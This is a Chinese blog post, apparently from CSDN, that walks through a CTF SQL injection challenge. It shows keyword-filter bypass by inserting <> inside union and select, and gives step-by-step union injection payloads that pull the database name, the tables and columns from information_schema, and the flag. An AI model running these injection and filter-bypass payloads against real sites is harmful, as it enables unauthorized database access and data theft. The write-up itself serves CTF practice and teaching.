i春秋 “百度杯”CTF比赛 九月场 SQL

版权声明:欢迎提问:[email protected] https://blog.csdn.net/include_heqile/article/details/82670026

https://www.ichunqiu.com/battalion?t=1&r=0

看题目就知道这是一道注入题,这道题其实并没有什么难度,主要就是select、union、=等被过滤了,我们需要找到一种有效的绕过方法,这道题的绕过方法就是在敏感字符串中间加上<>,这个是通过提交各种特殊字符串并查看源代码得到的,当我们提交了<>之后,再去查看源代码,会发现源代码界面中并没有出现<>,这样我们就能进行手工注入的一般操作了:

查询显位?id=1 un<>ion se<>lect "show1", "show2", "show3"

这里写图片描述
由此可知显示位一共三个,第二个为显位

得到数据库名?id=1 un<>ion se<>lect 1, (se<>lect database()),3
这里写图片描述

得到数据库中的表?id=1 un<>ion se<>lect 1, (se<>lect group_concat(table_name) from information_schema.tables where table_schema REGEXP 'sqli'),3

这里写图片描述
因为等号被过滤了,所以我们使用REGEXP来代替,不知道为什么没有过滤'

得到表中的字段?id=1 un<>ion se<>lect 1, (se<>lect group_concat(column_name) from information_schema.columns where table_name REGEXP 'info'),3

这里写图片描述

最后直接查询info表中flAg_T5ZNdrm字段?id=1 un<>ion se<>lect 1, (se<>lect group_concat(flAg_T5ZNdrm) from info),3

这里写图片描述

猜你喜欢

转载自blog.csdn.net/include_heqile/article/details/82670026